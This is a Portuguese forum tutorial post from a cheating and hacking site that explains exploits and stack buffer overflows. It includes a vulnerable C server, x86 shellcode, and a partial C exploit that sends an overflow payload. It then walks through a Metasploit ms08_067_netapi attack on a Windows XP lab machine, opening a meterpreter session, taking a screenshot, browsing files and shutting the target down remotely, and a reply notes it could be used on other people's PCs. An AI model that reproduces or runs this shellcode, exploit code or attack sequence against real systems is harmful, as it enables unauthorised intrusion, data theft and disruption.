Ir para conteúdo
Sistema de Servidores de Jogos ×

  • Quem está por aqui   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.

Exploits

☢|EXPL01T3R|☣

Por ,
em Tutoriais

 Compartilhar

Posts Recomendados

Contribuidor

☢|EXPL01T3R|☣ 50

Postado
  • Contribuidor
Postado

To um poco sumido da área de segurança aqui da WC mais não da nada rs. a maioria dos meu tutoriais de segurança seja na WC ou no site de um cara que faz curso cmgo eu sempre uso exploits dai meu nick exploiter que quem me chamo assim pela primeira vez foi o alan conhecido como Storm, ai hoje resolvi explicar um pouco mais sobre exploits dentro do contexto de segurança da informação. pra fala sem pega textos mais elaborados não compensaria criar um tópico pelo fato de um exploit é basicamente um código que explora uma falha em algum sistema para fins diversos seja conseguir acesso, causar uma negação de serviço, capturar trafego em rede, senhas, enfim..

Um exploit, em
É necessário se cadastrar para acessar o conteúdo.
, é um
É necessário se cadastrar para acessar o conteúdo.
, uma porção de dados ou uma sequência de comandos que se aproveita das vulnerabilidades de um
É necessário se cadastrar para acessar o conteúdo.
– como o próprio
É necessário se cadastrar para acessar o conteúdo.
ou serviços de interação de protocolos (ex:
É necessário se cadastrar para acessar o conteúdo.
). São geralmente elaborados por
É necessário se cadastrar para acessar o conteúdo.
como programas de demonstração das vulnerabilidades, a fim de que as falhas sejam corrigidas, ou por
É necessário se cadastrar para acessar o conteúdo.
a fim de ganhar acesso não autorizado a sistemas. Por isso muitos crackers não publicam seus exploits, conhecidos como 0days, e o seu uso massificado deve-se aos
É necessário se cadastrar para acessar o conteúdo.
.

Até meados dos

É necessário se cadastrar para acessar o conteúdo.
, acreditava-se que os exploits exploravam exclusivamente problemas em aplicações e serviços para plataformas
É necessário se cadastrar para acessar o conteúdo.
. A partir do final da década, especialistas demonstraram a capacidade de explorar vulnerabilidades em plataformas de uso massivo, por exemplo, sistemas operacionais
É necessário se cadastrar para acessar o conteúdo.
(Windows 9x, NT, 2000 e XP). Como exemplo temos o
É necessário se cadastrar para acessar o conteúdo.
, o
É necessário se cadastrar para acessar o conteúdo.
, o
É necessário se cadastrar para acessar o conteúdo.
em
É necessário se cadastrar para acessar o conteúdo.
e o
É necessário se cadastrar para acessar o conteúdo.
em
É necessário se cadastrar para acessar o conteúdo.
.

[h=2][

É necessário se cadastrar para acessar o conteúdo.
]Como atua[/h]

Para um exploit atacar, o sistema precisa ter uma vulnerabilidade, ou seja, um meio de comunicação com a rede que possa ser usado para entrar, uma porta ou um console.Um exploit muito usado é no sistema RPC do Windows:


  • [*=center]o usuário localiza a porta e envia à porta RPC uma sequência de bytes, que são interpretados como dados pelo servidor
    [*=center]quando são recebidos, estes dados deixam propositadamente o sistema em pane
    [*=center]o sistema passa o controle a estes próprios dados que então são uma sequência de ordem para dominar a CPU.

Desta forma esta sequência de informações toma conta do PC e abre-o para o hacker que aguarda na outra ponta.No sistema

É necessário se cadastrar para acessar o conteúdo.
, quando existem vulnerabilidades, sempre são publicadas, como já houve no sistema
É necessário se cadastrar para acessar o conteúdo.
,
É necessário se cadastrar para acessar o conteúdo.
ou
É necessário se cadastrar para acessar o conteúdo.
, que também apresentam vulnerabilidades e possibilita o controle do PC por um hacker remoto.

fonte

É necessário se cadastrar para acessar o conteúdo.

 

 

[h=2]Como funciona os Exploits[/h]

[h=3]1 Introdução[/h]Nos dias actuais são indiscutíveis os grandes benefícios obtidos por meio da interligação dos computadores em uma única e grande rede acessível a partir de qualquer ponto do globo.

A Internet, essa grande teia que une milhões de computadores em torno do mundo, é uma conquista irreversível que admite um único futuro: uma contínua e freqüente expansão.

Entretanto, com o advento dessa incrível interconexão de máquinas em escala mundial, muitos ainda são os problemas que precisam ser resolvidos para que os usuários obtenham uma razoável segurança na utilização dos serviços disponibilizados na grande rede. Cada novo serviço ou funcionalidade implementada pelos fabricantes de softwares utilizados nas redes de computadores encontra, frequentemente, uma imediata resposta de hackers e crackers. Esses “usuários” utilizam seus conhecimentos avançados de programação de computadores para explorar falhas existentes nos códigos desenvolvidos para essas novas funcionalidades. Esse é um problema do qual ninguém está totalmente livre. Conforme (FIREWALLS SECURITY CORPORATION) , até mesmo programas famosos e considerados seguros já foram lançados no mercado com esse tipo de vulnerabilidade.

Essas investidas contra fraquezas nos sistemas operacionais e aplicativos são apoiadas por ferramentas conhecidas como exploits. O resultado desses ataques pode ser simplesmente uma momentânea indisponibilidade do serviço (DOS – Denial Of Service) ou, na pior situação, a abertura de um acesso privilegiado no computador hospedeiro do serviço que sofreu o ataque. A partir desse acesso obtido, poderão ser provocados prejuízos imprevisíveis dentro da rede atacada.

Este trabalho procura descrever como funcionam e quais os resultados do ataque desses exploits. O objectivo do trabalho é dar subsídios aos administradores de rede e desenvolvedores de aplicativos na difícil tarefa de tentar evitar ou, pelo menos, responder o mais rápido possível a ataques desse tipo.

[h=3]2 O que são exploits[/h]O termo exploit, que em português significa, literalmente, explorar, na linguagem da Internet é usado comummente para se referir a pequenos códigos de programas desenvolvidos especialmente para explorar falhas introduzidas em aplicativos por erros involuntários de programação.

Esses exploits, que podem ser preparados para atacar um sistema local ou remotamente, variam muito quanto à sua forma e poder de ataque. Pelo fato de serem peças de código especialmente preparadas para explorar falhas muito específicas, geralmente há um diferente exploit para cada tipo de aplicativo, para cada tipo de falha ou para cada tipo de sistema operacional.

Os exploits podem existir como programas executáveis ou, quando usados remotamente, podem estar ocultos, por exemplo, dentro de uma mensagem de correio eletrônico ou dentro de determinado comando de um protocolo de rede.

[h=3]3 Como funcionam os exploits[/h]Os exploits quase sempre se aproveitam de uma falha conhecida como buffer overflow (estouro de buffer).

O buffer overflow acontece quando um programa grava informação em uma certa variável, passando, porém, uma quantidade maior de dados do que estava previsto pelo programa. Essa situação possibilita que um código arbitrário seja executado, necessitando apenas que este seja devidamente

posicionado dentro da área de memória do processo.

No codigo abaixo pode ser visto um simples exemplo de um programa vulnerável a um ataque de buffer overflow. O problema está na segunda linha da função ProcessaParm, que não critica o tamanho do parâmetro recebido na variável arg.

void ProcessaParm(char *arg);

void main(int argc, char *argv[])

{

if (argc > 1)

{

printf("Param: %s\n",argv[1]);

ProcessaParm(argv[1]);

}

}

void ProcessaParm(char *arg)

{

char buffer[10];

strcpy(buffer,arg); /* PROBLEMA: se a string contida em arg

tiver mais que 10 carateres havera

um "buffer overflow" */

printf(buffer);

}

Codigo 1: Programa vulnerável a buffer overflow

O buffer overflow, quando ocorre de forma aleatória, normalmente causa um crash na aplicação. No Linux, essa situação gera a conhecida segmentation fault com core dump. Porém, quando correctamente induzido pelo atacante, o buffer overflow pode permitir que se execute um código malicioso que terá os

mesmos privilégios de execução do aplicativo atacado.

Embora o problema do buffer overflow seja conhecido há muito tempo, somente nos últimos anos ele passou a ser amplamente explorado como ferramenta de ataque.

Para entender completamente como o buffer overflow é explorado para se obter acessos indevidos ao sistema, é necessário em primeiro lugar compreender como os processos são organizados em memória. Cada arquitectura de hardware, sistema operacional ou compilador pode organizar de forma diferente um processo em memória. Na figura 1 é possível ver um diagrama que representa essa organização para um programa escrito na linguagem C em um sistema Linux/i386.

foto1.JPG

Figura 1: Organização dos processos em memória…

A área de programa armazena o código executável. Na área de variáveis globais são alocadas todas as variáveis globais e estáticas; enquanto que a área de heap é reservada para alocação local e dinâmica de memória. Finalmente, a área de pilha é usada para salvar registradores, salvar o endereço de retorno de subrotinas, criar variáveis locais bem como para passar parâmetros na chamada de funções.

Como pode ser observado na figura 1, os ponteiros da pilha e do heap crescem em sentidos opostos, convergindo para o centro da área livre que é comum às duas estruturas de memória. Esse artifício é usado para otimizar o uso da memória livre na área de dados do processo. Entretanto, como será visto ainda nesta seção, essa característica possibilita que os ataques sejam feitos tanto pela pilha quanto pelo heap.

Na figura 1 é possível ver os elementos envolvidos no processo de chamada de uma função.

Normalmente, quando uma função é chamada, os seguintes passos são executados:

1) Os parâmetros da função são colocados da pilha em ordem inversa.

2) Quando a instrução call é executa, o endereço de retorno é armazenado para permitir o retorno

da função à instrução imediatamente seguinte àquela que a chamou.

3) Já dentro da função, o conteúdo do registrador EBP, que é usado como apontador do stack frame, é colocado da pilha para ser recuperado no final da função.

4) Registrador EBP é carregado com o valor atual do ponteiro de pilha (SP).

5) O ponteiro da pilha é decrementado em N bytes, onde N é a quantidade de bytes necessários para a criação das variáveis locais.

foto2.JPG

Figura 2: Uso da pilha na chamada de uma função…

Devido a essa sua característica, a pilha é o “calcanhar de aquiles” de toda essa estrutura. Com muita paciência, persistência e algum conhecimento de assembly e C, é possível alterar o valor do endereço de retorno do programa e redirecioná-lo para um código malicioso.

A partir desse momento, o ponteiro de instruções do processo passa a ser inteiramente controlado pelo atacante, que poderá fazer qualquer chamada a funções disponíveis no sistema.

A alteração do endereço de retorno pode ser feita tanto pelo “estouro” de uma variável local alocada na pilha quanto pelo “estouro” da área de heap. Da mesma forma, o código malicioso, para onde o programa será desviado, pode ser colocado tanto no heap quanto na pilha. Nas figuras 3 e 4 pode ser vista uma representação da memória durante um ataque de pilha e de heap, respectivamente.

foto3.JPG

Figura 3: Situação da pilha em um ataque de buffer overflow sobre a pilha…foto4.JPG

Figura 4: Situação da pilha em um ataque de buffer overflow sobre o heap…

Como pode ser visto na figura 4, os exploits baseados no heap são mais difíceis de se construir devido à dificuldade de se determinar com precisão o tamanho da área entre o heap e a pilha.

Recentemente, os sistemas operacionais têm implementado mecanismos de bloqueio de execução de códigos na área de pilha e de heap. Essa medida tem por objetivo evitar esses ataques. Porém, para contornar essa dificuldade, uma outra variante do ataque foi desenvolvida. Essa nova tática, conhecida como “retorno à libc”, descrita em (MCDONALD,1999), consiste em desviar o programa para uma função da libc (system(), por exemplo), portanto dentro da área de código, onde não há qualquer restrição de execução

de programas.

A criação de novas técnicas de ataque é apenas uma questão de tempo. Por exemplo, uma técnica mais recente que o buffer overflow, e muito mais complexa do que esta, é a exploração do Format String Bug, detalhada com muita precisão em (THUEMMEL,2001).

Na seção 4 será apresentado, passo a passo, um exemplo de um exploit baseado no estouro da pilha.

Essa variante de exploit foi escolhida para ser analisada aqui por ser, dentre as técnicas de explorações de buffer overflow, a de menor dificuldade de implementação e a que mais tem sido usada ultimamente.

[h=3]4 Um exemplo de exploit baseado no buffer overflow de pilha[/h]Em um ataque de estouro da pilha, normalmente o atacante terá que responder as seguintes questões antes de poder construir o exploit propriamente dito:

Qual o tamanho do buffer?: em softwares livres isso é facilmente conseguido pelo fato dos fontes do programas serem de domínio público. Aqui não há demérito algum para o software livre uma vez que, fazendo um paralelo com a criptografia, conforme (UCHOA,2003), a segurança baseada na obscuridade é

restrita e deve ser evitada.

O que vai ser executado dentro do código malicioso?: para responder a essa pergunta o atacante deve conhecer uma linguagem de baixo nível, preferencialmente C, que será utilizada para construir o exploit. Além disso, é necessário que se conheça também um pouco de Assembly e do programa de

depuração gdb. A premissa utilizada aqui é fazer um programa tão poderoso que faça todo o trabalho necessário e tão pequeno que caiba dentro da área de buffer.

Normalmente, a seqüência é: criar o programa em C, compilá-lo, abri-lo com o gdb, “anotar” os códigos binários das instruções referentes ao trecho necessário. Esses códigos anotados do gdb serão guardados em uma variável do exploit, que os utilizará na construção da mensagem que será enviada ao servidor.

Como “estourar” o buffer do servidor?: aqui, principalmente, é onde entra a especificidade de cada exploit. Novamente o atacante se utiliza do conhecimento dos fontes dos programas para conhecer todos os fatos necessários ao ataque. Não fosse o conhecimento dos fontes, isso ainda seria possível pelo menos de duas formas diferentes: ou através de engenharia reversa, utilizando-se de uma ferramenta de depuração (gdb, por exemplo), ou através da tentativa e erro, enviando grandes strings em qualquer parte do

programa em que há entrada de dados por parte do usuário.

O código 2 mostra um trecho do programa que será alvo do ataque. Trata-se aqui de um programa muito simples que tem por finalidade apenas servir aos propósitos didáticos deste trabalho. O programa implementa apenas duas funções: a função main(), que é responsável por “ouvir” a porta UDP 1234 e a função TrataMensagem(), que é chamada a cada mensagem recebida pelo servidor.

O programa cliente será o exploit, que preparará uma mensagem de forma tal que provoque o buffer overflow no servidor. Esse ataque abrirá, no servidor, um backdoor que será usado em seguida pelo atacante para continuar seu “trabalho”.

Procurando responder a segunda questão colocada no início desta seção, foi desenvolvido o código apresentado no codigo 3. Neste trabalho, a única ação do atacante será criar o arquivo /bin/sx. Outros comandos poderiam ser acrescentados ao código para efetuar outras ações, como, por exemplo, incluir um usuário no arquivo /etc/passwd. Para criar o arquivo /bin/sx foi usada a system call sys_creat, através da instrução int 0×80. Após criar o arquivo, o exploit simplesmente encerra a execução do servidor.

listen(Sock, 1);

while(1)

{

Tam = sizeof(struct sockaddr_in);

if((Novo=accept(Sock, (struct sockaddr *)&Cliente,&Tam))==1) exit(1);

memset(Mens,0,strlen(Mens));

if(read(Novo,Mens,sizeof(Mens)) < 0) exit(2);

TrataMensagem(Mens);

close(Novo);

}

void TrataMensagem(char *Mens)

{

char Buffer[256];

strcpy(Buffer,Mens); /* VULNERABILIDADE: caso Mens seja maior que 256, haverá o estouro*/

.

.

.

}

Código 2: Trecho do programa servidor alvo do ataque

void main() {

__asm__("

jmp INICIO

FUNCAO:

pop %esi

xor %eax,%eax

movb %eax,7(%esi)

mov %esi,%ebx

movb $0x8,%al

mov $0xfffff1ff,%ecx

int $0x80

movb $1,%al

xorl %ebx,%ebx

int $0x80

INICIO:

CALL FUNCAO

.string \"/bin/sx \"

");

}

Código 3: Código malicioso em assembly

No código 3 pode ser visto o código Assembly para esse pequeno programa. Para compilar o

programa, foi usado o comando: gcc -g -o prog prog.c -ldb.

unsigned char cod[]={

0xeb,0x1f,

0x90,0x90,0x90,0x90,

0x5e,

0x31,0xc0,

0x88,0x46,0x07,

0x89,0xf3,

0xb0,0x08,

0xb9,0xff,0xf1,0xff,0xff,

0xcd,0x80,

0xb0,0x01,

0x31,0xdb,

0xcd,0x80,

0x90,0x90,0x90,0x90,

0xe8,0xe0,0xff,0xff,0xff,0};

Código 4: Versão em byte code do código malicioso

O atacante deve conhecer previamente o endereço da área de memória onde está o comando que será executado. Outro endereço a ser descoberto em tempo de execução é o da string que contém o nome do arquivo a ser criado. Aqui, foi utilizada a técnica descrita em (ARANHA,2003), que consiste em iniciar o programa com um salto para uma instrução imediatamente anterior ao endereço que se quer conhecer. Em seguida o programa deve ser desviado para o restante do código através da execução da intrução call. Dessa forma, o endereço da string é armazenado na pilha, podendo, assim, ser lido pelo restante do código malicioso.

Usando o gdb, o código malicioso deve ser exportado em formato hexadecimal. Nesse caso pode ser usado o comando do gdb: x/bx . A saída hexadecimal do código pode ser vista no codigo 4.

O codigo 5 mostra a parte do código do exploit responsável por montar o buffer e enviá-lo para o servidor. Como pode ser visto, o código do exploit em si é muito simples. Na verdade, a grande dificuldade reside nos passos anteriores, onde devem ser identificados os endereços de dados e de funções que serão usados pelo código malicioso quando este estiver executando no servidor alvo.

#include

#define TAM_BUFFER 256

unsigned char cod[]={

0xeb,0x1f,

0x90,0x90,0x90,0x90,

0x5e,

0x31,0xc0,

0x88,0x46,0x07,

0x89,0xf3,

0xb0,0x08,

0xb9,0xff,0xf1,0xff,0xff,

0xcd,0x80,

0xb0,0x01,

0x31,0xdb,

0xcd,0x80,

0x90,0x90,0x90,0x90,

0xe8,0xe0,0xff,0xff,0xff,0};

char comando[]="/bin/sx ";

main(int argc, char **argv)

{

unsigned char Buffer[TAM_BUFFER+9];

long end;

end=0xbffff71c;

memset(Buffer,'A',TAM_BUFFER);

strcpy(Buffer,cod);

strcat(Buffer,comando);

Buffer[strlen(Buffer)]='A';

*(long *)&Buffer[TAM_BUFFER] = 0xcacacaca;

*(long *)&Buffer[TAM_BUFFER+4] = end;

Buffer[TAM_BUFFER+8] = 0;

.

.

.

if(connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) exit(1);

write(Sock, Buffer, TAM_BYFFER+20);

}

Código 5: Primeira parte do exploit

[h=3]5 Conclusão[/h]As técnicas aqui mostradas, e muitas outras, estão disponíveis em diversos sites da Internet, mostrando a dialética aí envolvida, onde a própria Internet traz em si os elementos capazes de destruí-la, mas que ao mesmo tempo, são a fonte de seu desenvolvimento. Enquanto os atacantes se utilizam de falhas deixadas ao longo do desenvolvimento da Internet, as equipes de desenvolvimento e segurança se utilizam das técnicas empregadas pelo atacantes – geralmente técnicas avançadas de programação – para produzir seus

antídotos, bem como novas funcionalidades.

Como ações de proteção contra esses ataques, recomenda-se a atualização constante do sistema, aplicando-se os patches necessários, ou mesmo promovendo os devidos upgrades de versão.

Para os programadores, a recomendação não poderia ser outra: atenção! Muita atenção! O menor descuido pode ser a oportunidade que o atacante precisa. Deve-se, sempre que possível, evitar funções que podem causar buffer overflow, tais como strcpy, que deve ser substituída por sua equivalente strncpy.

Ao usar funções passíveis de exploração pela técnica Format String Bug, tais como printf, evitar aplicar a essas funções os valores fornecidos diretamente pelo usuário do programa. Se possível, substituir a libc por versões seguras de biblioteca padrão, tais como a libmib (

É necessário se cadastrar para acessar o conteúdo.
)

ou libsafe (

É necessário se cadastrar para acessar o conteúdo.
).

Afinal, ninguém pode dizer que está livre de ser atacado, porém esse fato não deve ser desculpa para que não se procure, por todos os meios possíveis, impor aos atacantes, senão uma missão impossível, pelo menos uma tarefa extremamente árdua.

 

 

um exemplo bom de exploit é o exploit para explorar a falha 0day do internet explorer que eu não cheguei criar nenhum tutorial por haver muitos e muitos então não tem porque ficar reinventando a roda nem resolvi dar CTRL+C CTRL+V aqui na WC por ser uma falha recente e eu busco postar na WC tutoriais de exploração de falhas mais antigas afim de apenas demonstrar o uso e resultados de uma exploração de falha e não para servir de guia para uma possível invasão.

 

 

 

 

Exemplo de uso de exploit -

só da demonstra o uso vo por parte de um tutorial que tem aqui na área q eu fiz ano passado:

Informações Técnicas

Atacante: BackTrack 5 R3 x86

Alvo: Microsoft Windows XP SP2 [PTBR]

exploit: exploit/windows/smb/ms08_067_netapi

Lista de sistemas vulneraveis ao ataque:

 

Código:

 

 


  • [*=center]0 - Segmentação automática (padrão)
    [*=center]1 - Windows 2000 Universal
    [*=center]2 - Windows XP SP0/SP1 Universal
    [*=center]3 - Windows XP SP2 Inglês (AlwaysOn NX)
    [*=center]4 - Windows XP SP2 Inglês (NX)
    [*=center]5 - Windows XP SP3 Inglês (AlwaysOn NX)
    [*=center]6 - Windows XP SP3 Inglês (NX)
    [*=center]7 - Windows 2003 SP0 Universal
    [*=center]8 - Windows 2003 SP1 Inglês (NO NX)
    [*=center]9 - Windows 2003 SP1 Inglês (NX)
    [*=center]10 - Windows 2003 SP1 japonês (NO NX)
    [*=center]11 - Windows 2003 SP2 Inglês (NO NX)
    [*=center]12 - Windows 2003 SP2 Inglês (NX)
    [*=center]13 - Windows 2003 SP2 Alemão (NO NX)
    [*=center]14 - Windows 2003 SP2 Alemão (NX)
    [*=center]15 - Windows XP SP2 árabe (NX)
    [*=center]16 - Windows XP SP2 Chinês - Tradicional / Taiwan (NX)
    [*=center]17 - Windows XP SP2 chinês - simplificado (NX)
    [*=center]18 - Windows XP SP2 Chinês - Tradicional (NX)
    [*=center]19 - Windows XP SP2 Checa (NX)
    [*=center]20 - Windows XP SP2 Dinamarquês (NX)
    [*=center]21 - Windows XP SP2 Alemão (NX)
    [*=center]22 - Windows XP SP2 grego (NX)
    [*=center]23 - Windows XP SP2 Espanhol (NX)
    [*=center]24 - Windows XP SP2 finlandês (NX)
    [*=center]25 - Windows XP SP2 francês (NX)
    [*=center]26 - Windows XP SP2 hebraico (NX)
    [*=center]27 - Windows XP SP2 húngaro (NX)
    [*=center]28 - Windows XP SP2 italiano (NX)
    [*=center]29 - Windows XP SP2 japonês (NX)
    [*=center]30 - Windows XP SP2 coreano (NX)
    [*=center]31 - Windows XP SP2 Holandês (NX)
    [*=center]32 - Windows XP SP2 norueguês (NX)
    [*=center]33 - Windows XP SP2 polonês (NX)
    [*=center]34 - Windows XP SP2 Português - Brasil (NX)
    [*=center]35 - Windows XP SP2 Português (NX)
    [*=center]36 - Windows XP SP2 russo (NX)
    [*=center]37 - Windows XP SP2 sueco (NX)
    [*=center]38 - Windows XP SP2 turca (NX)
    [*=center]39 - Windows XP SP3 árabe (NX)
    [*=center]40 - Windows XP SP3 Chinês - Tradicional / Taiwan (NX)
    [*=center]41 - Windows XP SP3 chinês - simplificado (NX)
    [*=center]42 - Windows XP SP3 Chinês - Tradicional (NX)
    [*=center]43 - Windows XP SP3 Checa (NX)
    [*=center]44 - Windows XP SP3 Dinamarquês (NX)
    [*=center]45 - Windows XP SP3 Alemão (NX)
    [*=center]46 - Windows XP SP3 grego (NX)
    [*=center]47 - Windows XP SP3 Espanhol (NX)
    [*=center]48 - Windows XP SP3 finlandês (NX)
    [*=center]49 - Windows XP SP3 francês (NX)
    [*=center]50 - Windows XP SP3 hebraico (NX)
    [*=center]51 - Windows XP SP3 húngaro (NX)
    [*=center]52 - Windows XP SP3 italiano (NX)
    [*=center]53 - Windows XP SP3 japonês (NX)
    [*=center]54 - Windows XP SP3 coreano (NX)
    [*=center]55 - Windows XP SP3 Holandês (NX)
    [*=center]56 - Windows XP SP3 norueguês (NX)
    [*=center]57 - Windows XP SP3 polonês (NX)
    [*=center]58 - Windows XP SP3 Português - Brasil (NX)
    [*=center]59 - Windows XP SP3 Português (NX)
    [*=center]60 - Windows XP SP3 russo (NX)
    [*=center]61 - Windows XP SP3 sueco (NX)
    [*=center]62 - Windows XP SP3 turca (NX)
    [*=center]63 - Windows 2003 SP2 japonês (NO NX)
    [*=center]64 - Windows 2003 SP1 Espanhol (NO NX)
    [*=center]65 - Windows 2003 SP1 Espanhol (NX)
    [*=center]66 - Windows 2003 SP2 Espanhol (NO NX)
    [*=center]67 - Windows 2003 SP2 Espanhol (NX)

 

 

Referências:

É necessário se cadastrar para acessar o conteúdo.

É necessário se cadastrar para acessar o conteúdo.

É necessário se cadastrar para acessar o conteúdo.

É necessário se cadastrar para acessar o conteúdo.

 

 

Bom vamos la então.. espero que tudo de certo :smiley:

 

 

imagem1iqq.png

 

 

Preview da maquina atacante ja rodando o metasploit framework

separadorH.jpg

 

imagemnyg.png

 

 

Preview da maquina alvo

 

separadorH.jpg

imagem2qy.png

 

 

sintaxe básica de uso de exploits

use nome_do_exploit

no caso: use use exploit/windows/smb/ms08_067_netapi

reparem que dai ja mudo algo... o modo como a tela fica com aquele nomezinho vermelho indica que vc esta no contexto do módulo..

ali como eu ja conheço o exploit eu ja setei o ip do alvo..

set rhost 192.168.1.117

ali depois um show options pra mostra como ficou o exploit

para ele funcionar vc tem que preencher todos os campos onde o "required" esteja como "YES" para isso vc usa o comando SET e oque vc vai setar seguido do valor. no caso setei o rhost então: set rhost 192.168.1.117, depois de completar todos os requireds (ai só tem dois e o rport ainda deixei como estava mais boa parte dos módulos tem mais coisas para vc setar...). depois de tudo setado certinho vamo executar o exploit.. com o comando "exploit"

separadorH.jpg

 

imagem3.png

opa, deu certo.. "meterpreter session 1 opened"

o meterpreter é um scriptzão.. que quando usado fica entre você e o alvo.. é mto util no windows pois a shell d windows não tem muitas funções.. aqui um pouco sobre o meterpreter >

É necessário se cadastrar para acessar o conteúdo.

esse "meterpreter >" indica que os comandos devem ser os aceitos pelo meterpreter, e não os diretamente do shell tipo o cls que no cmd do windows limpa a tela ali no meterpreter se vc digitar isso vai dar erro de comando mais Blz ja estamos dentro da maquina alvo.. Vamo agora comprova a invasão com imagens

 

separadorH.jpg

imagem1uo.png

 

aqui temos a maquina alvo com o bloco de notas aberto e uma msg "teste".. okay. pela maquina do atacante vo tira o print da tela da maquina alvo..

separadorH.jpg

 

 

 

imagem4ut.png

 

 

Bom ta ae o print.. Mais que suficiente para comprovar uma invasão.. Mais vamos a mais comprovações da invasão

 

separadorH.jpg

imagem5g.png

 

ali podem ver alguns errinhos básicos kk erro na escrita do comando screenshot que depois deu certo rs.. e ali comprovando que o meperpreter tem seus comandospróprios que no caso mesmo eu estando em um ambiente linux ele não aceitou o comando clear e nem eu tendo invadido uma maquina windows ele não aceitou o comando cls..

depois disso vamos ao comando "shell" que nada mais é que desativar o meterpreter e entrar direto na shell do alvo.. ali como podem ver some o "meterpreter >" e entra o "C:\Windows\system32>" agora tudo que eu digitar tem que ser seguindo os comando do windows afinal estou no CMD da vitima..

vamos a demonstração1; comando msg* EXPL01T3R

para quem não sabe oque faz esse comando vou explicar.. msg- mensagem, o resto é alto explicativo..

vamo ve se apareceu a msg no pc alvo..

separadorH.jpg

imagem2ar.png

 

ta ae mais uma prova.

Blz.. Vamos ao prox.. listagem de arquivos.. no meterpreter.. quando se invade mesmo um computador vc quer alguma coisa.. e o meterpreter te ajuda a baixar essa tal coisa com o comando download no arquivo que vc quiser.. mais para isso vc tem que achar o arquivo.. a prox demonstração é para listar os arquivos de um determinado diretório no caso o C:

vamo ve na maquina alvo onde ta o arquivo teste2.txt

separadorH.jpg

imagemwez.jpg

 

Blz ta ae o arquivo.. agora vo voltar pro meterpreter.. ir até o C: e listar os arquivos par ver se o teste2.txt aparece..

separadorH.jpg

 

imagem6ru.png

ok. comando cd C: e depois o ls que no meterpreter e no linux é para listar os arquivos do diretório.. aqui mostra o modo que contem as permissões do arquivo, seguido pelo tamanho que no caso é 0 , o tipo fil de file.. a data de modificação e o nome... então ta ae.. agora para finalizar vo desliga a maquina alvo pela maquina do atacante afinal o tópico esta acabando rsrs..

separadorH.jpg

imagem7u.png

,

 

 

pedi shell denovo.. e os comandos.. shutdown -s -t -c "Owned" que faz o seguinte.. -s desliga o pc, -t é o tempo ate que o pc seja desligado no caso 15 seg e -c é uma msg no caso Owned.. agora o resultado desse comando na maquina alvo foi o seguinte..

separadorH.jpg

imagem5xh.png

 

 

ta ae o resultado. ai ta marcando 12 seg mais é que ate eu mudar de pc pra tirar o print né rs.. e a Msg la "Owned"

python-doc-icon.jpg

wVNulLU.gif

ﾠﾠMural de Coleçõesﾠﾠ

Clique aqui e adquira suas medalhas
Link para o comentário
https://www.webcheats.com.br/topic/1745103-exploits/
Compartilhar em outros sites
FOXxER Novato

FOXxER 0

Postado
  • Novato
Postado

Muito bom mesmo , topico "PRO" pra min o back track hoje e indispensavel sem falar da ferreamenta Metasploit muito boa.

isso tanto poderia ser para desligar o PC da pessoas quanto ter acesso ao Shell , e assim que tudo começa...

ﾠﾠMural de Coleçõesﾠﾠ

Clique aqui e adquira suas medalhas
Link para o comentário
https://www.webcheats.com.br/topic/1745103-exploits/#findComment-7413666
Compartilhar em outros sites
Este tópico está impedido de receber novos posts.
 Compartilhar
Ir para a lista de tópicos
×
×
  • Criar Novo...

Informação Importante

Nós fazemos uso de cookies no seu dispositivo para ajudar a tornar este site melhor. Você pode ajustar suas configurações de cookies , caso contrário, vamos supor que você está bem para continuar.